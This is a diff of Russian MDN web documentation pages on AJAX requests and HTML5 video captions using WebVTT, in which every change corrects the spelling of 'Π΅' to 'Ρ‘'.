<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ 2</strong>: Если Π²Ρ‹ посылаСтС запрос Π½Π΅ Π½Π° статичСский XML-Ρ„Π°ΠΉΠ», Π° Π½Π° сСрвСрный скрипт, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰ΠΈΠΉ XML, Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π°, Ссли Π²Ρ‹ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Π°ΡˆΡƒ страницу работоспособной Π² Internet Explorer ΠΏΠΎΠΌΠΈΠΌΠΎ Mozilla. Если Π²Ρ‹ Π½Π΅ установитС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Content-Type: application/xml</code>, IE Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒ ΠΎΠ± ошибкС JavaScript, 'Object Expected', послС строки, Π³Π΄Π΅ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ XML элСмСнту. Если Π²Ρ‹ Π½Π΅ установитС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Cache-Control: no-cache</code> Π±Ρ€ΠΎΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ ΠΈ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ запрос, Ρ‡Ρ‚ΠΎ сдСлаСт ΠΎΡ‚Π»Π°Π΄ΠΊΡƒ вСсьма Β«Π·Π°Π±Π°Π²Π½ΠΎΠΉΒ».</p>
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ 3</strong>: Если пСрСмСнная <code>httpRequest</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ глобально, Ρ‚ΠΎ ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ <code>makeRequest()</code> ΠΌΠΎΠ³ΡƒΡ‚ ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, вызывая состязания. ОбъявлСниС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>httpRequest</code> локально Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΅Π΅ Π² <code>alertContent()</code> ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ состязания.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ 3</strong>: Если пСрСмСнная <code>httpRequest</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ глобально, Ρ‚ΠΎ ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ <code>makeRequest()</code> ΠΌΠΎΠ³ΡƒΡ‚ ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, вызывая состязания. ОбъявлСниС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>httpRequest</code> локально Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΅Ρ‘ Π² <code>alertContent()</code> ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ состязания.</p>
<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ 4</strong>: ΠŸΡ€ΠΈ привязывании колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊ <code>onreadystatechange</code> нСльзя ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹. По этой ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄:</p>
@@ -252,7 +252,7 @@ var root_node = xmldoc.getElementsByTagName('root').item(0);
alert(root_node.firstChild.data);
</pre>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Π±Π΅Ρ€Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>XMLDocument</code>, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ <code>responseXML</code> ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ DOM для доступа ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ, содСрТащимся Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ XML. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ <code>test.xml</code> ΠΌΠΎΠΆΠ½ΠΎ <a class="external" href="http://www.akvi.ru/mozdev/test.xml" rel="follow">здСсь</a>, Π° ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½Ρ‹ΠΉ скрипт <a class="external" href="http://www.akvi.ru/mozdev/httprequest_test_xml.html" rel="follow">здСсь</a>.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Π±Π΅Ρ€Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>XMLDocument</code>, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ <code>responseXML</code> ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ DOM для доступа ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ, содСрТащимся Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ XML. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ <code>test.xml</code> ΠΌΠΎΠΆΠ½ΠΎ <a class="external" href="http://www.akvi.ru/mozdev/test.xml" rel="follow">здСсь</a>, Π° ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½Ρ‹ΠΉ скрипт <a class="external" href="http://www.akvi.ru/mozdev/httprequest_test_xml.html" rel="follow">здСсь</a>.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Ρ… DOM, посмотритС <a class="external" href="http://www.mozilla.org/docs/dom/">рСализация DOM Π² Mozilla</a>.</p>
diff --git a/files/ru/web/guide/ajax/index.html b/files/ru/web/guide/ajax/index.html
index 7cf72beec7..25b4e612df 100644
--- a/files/ru/web/guide/ajax/index.html
+++ b/files/ru/web/guide/ajax/index.html
@@ -31,7 +31,7 @@ translation_of: Web/Guide/AJAX
<dl>
<dt><a class="external" href="http://www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html">ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ ΠΏΡƒΡ‚ΡŒ Ajax</a></dt>
- <dd><small>"Как это оказываСтся, довольно Π»Π΅Π³ΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² своих интСрСсах ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ XML-HttpRequest сдСлаСт Π°ΠΊΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ сСти большС ΠΊΠ°ΠΊ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, всС Π΅Ρ‰Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½Ρ‹Π΅ инструмСнты , ΡΠ΅Ρ‚ΡŒ формируСтся для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π²Ρ…ΠΎΠ΄."</small></dd>
+ <dd><small>"Как это оказываСтся, довольно Π»Π΅Π³ΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² своих интСрСсах ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ XML-HttpRequest сдСлаСт Π°ΠΊΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ сСти большС ΠΊΠ°ΠΊ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, всС Π΅Ρ‰Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½Ρ‹Π΅ инструмСнты , ΡΠ΅Ρ‚ΡŒ формируСтся для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π²Ρ…ΠΎΠ΄."</small></dd>
</dl>
<dl>
diff --git a/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html b/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html
index 2fc93f687e..667568c42a 100644
--- a/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html
+++ b/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html
@@ -7,13 +7,13 @@ translation_of: >-
---
<div class="summary">
<blockquote>
-<p><span class="seoSummary">Π’ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… ΠΌΡ‹ рассмотрСли ΠΊΠ°ΠΊΒ Β <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ cross browser Π²ΠΈΠ΄Π΅ΠΎ ΠΏΠ»Π΅Π΅Ρ€</a>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ {{ domxref("HTMLMediaElement") }} ΠΈ {{ domxref("Window.fullScreen") }} APIs, Π° Ρ‚Π°ΠΊ-ΠΆΠ΅ ΠΊΠ°ΠΊΒ Β <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ»Π΅Π΅Ρ€</a>. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ возьмСм Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΏΠ»Π΅Π΅Ρ€ ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒΒ Β ΠΏΠΎΠ΄ΠΏΠΈΡΠΈ ΠΈ субтитры, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{ domxref("Web_Video_Text_Tracks_Format","the WebVTT format") }} ΠΈ {{ htmlelement("track") }} элСмСнт.</span></p>
+<p><span class="seoSummary">Π’ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… ΠΌΡ‹ рассмотрСли ΠΊΠ°ΠΊΒ Β <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ cross browser Π²ΠΈΠ΄Π΅ΠΎ ΠΏΠ»Π΅Π΅Ρ€</a>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ {{ domxref("HTMLMediaElement") }} ΠΈ {{ domxref("Window.fullScreen") }} APIs, Π° Ρ‚Π°ΠΊ-ΠΆΠ΅ ΠΊΠ°ΠΊΒ Β <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ»Π΅Π΅Ρ€</a>. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΏΠ»Π΅Π΅Ρ€ ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒΒ Β ΠΏΠΎΠ΄ΠΏΠΈΡΠΈ ΠΈ субтитры, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{ domxref("Web_Video_Text_Tracks_Format","the WebVTT format") }} ΠΈ {{ htmlelement("track") }} элСмСнт.</span></p>
</blockquote>
</div>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_Π²ΠΈΠ΄Π΅ΠΎ_с_подписями">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π²ΠΈΠ΄Π΅ΠΎ с подписями</h2>
-<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ сошлСмся Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠ»Π΅Π΅Ρ€Π° с подписями.Β Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΡ‚Ρ€Ρ‹Π²ΠΎΠΊΒ ΠΈΠ· <a href="http://www.sintel.org/">Sintel open movie</a>, созданного <a href="http://www.blender.org/foundation/">Blender Foundation</a>.</p>
+<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΡΠΎΡˆΠ»Ρ‘ΠΌΡΡ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠ»Π΅Π΅Ρ€Π° с подписями.Β Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΡ‚Ρ€Ρ‹Π²ΠΎΠΊΒ ΠΈΠ· <a href="http://www.sintel.org/">Sintel open movie</a>, созданного <a href="http://www.blender.org/foundation/">Blender Foundation</a>.</p>
<p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p>
@@ -29,7 +29,7 @@ translation_of: >-
<p><a href="http://web.archive.org/web/20160117160743/http://screenfont.ca/learn/">Подписи ΠΈ субтитры Π½Π΅ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅</a>: ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ сущСствСнныС различия для зритСля, ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΌΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ ознакомится с различиями, Ссли Π²Ρ‹ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π΅ΡΡ‚ΡŒ. Однако тСхничСски ΠΎΠ½ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ, поэтому ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π» Π² нашСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ ΠΊ ΠΎΠ±ΠΎΠΈΠΌ.</p>
-<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ сошлСмся Π½Π° text tracks, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Π΅ ΠΊΠ°ΠΊ субтистры, Ρ‚.ΠΊ ΠΈΡ… ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ Π½Π° ΡΠ»Ρ‹ΡˆΠ°Ρ‰ΠΈΡ… людСй, со ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ понимания языка Π² Ρ„ΠΈΠ»ΡŒΠΌΠ΅, Π° Π½Π΅ Π½Π° людСй с ΠΏΠ»ΠΎΡ…ΠΈΠΌ ΠΈΠ»ΠΈ отсутствиСм слуха.</p>
+<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΡΠΎΡˆΠ»Ρ‘ΠΌΡΡ Π½Π° text tracks, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Π΅ ΠΊΠ°ΠΊ субтистры, Ρ‚.ΠΊ ΠΈΡ… ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ Π½Π° ΡΠ»Ρ‹ΡˆΠ°Ρ‰ΠΈΡ… людСй, со ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ понимания языка Π² Ρ„ΠΈΠ»ΡŒΠΌΠ΅, Π° Π½Π΅ Π½Π° людСй с ΠΏΠ»ΠΎΡ…ΠΈΠΌ ΠΈΠ»ΠΈ отсутствиСм слуха.</p>
<h3 id="Π­Π»Π΅ΠΌΠ΅Π½Ρ‚_&lt;track>">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Β &lt;track&gt;Β </h3>
@@ -37,7 +37,7 @@ translation_of: >-
<h3 id="WebVTT">WebVTT</h3>
-<p>Π€Π°ΠΉΠ»Ρ‹ содСрТащиС Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ субтитрах - это простой тСкстовый Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρƒ,Β  Ρ‚Π°ΠΊΠΎΠΌΡƒ ΠΊΠ°ΠΊΒ <a href="https://developer.mozilla.org/en-US/docs/HTML/WebVTT">Web Video Text Tracks</a> (WebVTT) Ρ„ΠΎΡ€ΠΌΠ°Ρ‚.Β <a href="http://dev.w3.org/html5/webvtt/">WebVTT specification</a> всё Π΅Ρ‰Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΏΠΎ этому основныС Π΅Π³ΠΎ части ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹ ΠΈ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… сСгодня.Β </p>
+<p>Π€Π°ΠΉΠ»Ρ‹ содСрТащиС Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ субтитрах - это простой тСкстовый Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρƒ,Β  Ρ‚Π°ΠΊΠΎΠΌΡƒ ΠΊΠ°ΠΊΒ <a href="https://developer.mozilla.org/en-US/docs/HTML/WebVTT">Web Video Text Tracks</a> (WebVTT) Ρ„ΠΎΡ€ΠΌΠ°Ρ‚.Β <a href="http://dev.w3.org/html5/webvtt/">WebVTT specification</a> всё Π΅Ρ‰Ρ‘ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΏΠΎ этому основныС Π΅Π³ΠΎ части ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹ ΠΈ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… сСгодня.Β </p>
<p>ΠŸΠΎΡΡ‚Π°Π²Ρ‰ΠΈΠΊΠΈ Π²ΠΈΠ΄Π΅ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ <a href="http://www.blender.org/foundation/">Blender Foundation</a>) ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΈ подписи ΠΈ субтитры Π² тСкстовом Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ с ΠΈΡ… Π²ΠΈΠ΄Π΅ΠΎ, Π½ΠΎ ΠΎΠ½ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Β SubRip Text (SRT) Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅. Π­Ρ‚ΠΎΡ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π»Π΅Π³ΠΊΠΎ ΠΏΠ΅Ρ€Π΅ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ Π²Β WebVTT, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ  onlineΒ  ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚Π΅Ρ€Β  Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ <a href="https://atelier.u-sub.net/srt2vtt/">srt2vtt</a>.</p>
@@ -123,15 +123,15 @@ translation_of: >-
video.textTracks[i].mode = 'hidden';
}</pre>
-<p>Бвойство <code>video.textTracks</code>Β  содСрТит массив всСх тСкстовых Ρ‚Ρ€Π΅ΠΊΠΎΠ², присоСдинСнных ΠΊ Π²ΠΈΠ΄Π΅ΠΎ. ΠœΡ‹ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΠΌ ΠΏΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΈ устанавливаСм Π΅Π³ΠΎΒ  <code>mode</code>Β Π²Β <code>hidden</code></p>
+<p>Бвойство <code>video.textTracks</code>Β  содСрТит массив всСх тСкстовых Ρ‚Ρ€Π΅ΠΊΠΎΠ², присоСдинённых ΠΊ Π²ΠΈΠ΄Π΅ΠΎ. ΠœΡ‹ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΠΌ ΠΏΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΈ устанавливаСм Π΅Π³ΠΎΒ  <code>mode</code>Β Π²Β <code>hidden</code></p>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β  <a href="http://dev.w3.org/html5/webvtt/#api">WebVTT API</a>Β Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ доступ ΠΊΠΎ всСм тСкстовым Ρ‚Ρ€Π΅ΠΊΠ°ΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² HTML5 video, c ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта  <code>&lt;track&gt;</code></p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β  <a href="http://dev.w3.org/html5/webvtt/#api">WebVTT API</a>Β Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ доступ ΠΊΠΎ всСм тСкстовым Ρ‚Ρ€Π΅ΠΊΠ°ΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² HTML5 video, c ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта  <code>&lt;track&gt;</code></p>
<h3 id="Building_a_caption_menu">Building a caption menu</h3>
<p>Наша Ρ†Π΅Π»ΡŒ - это ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <code>subtitles</code>Β , ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Ρ€Π°Π½Π΅Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‚ язык, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ субтитры.</p>
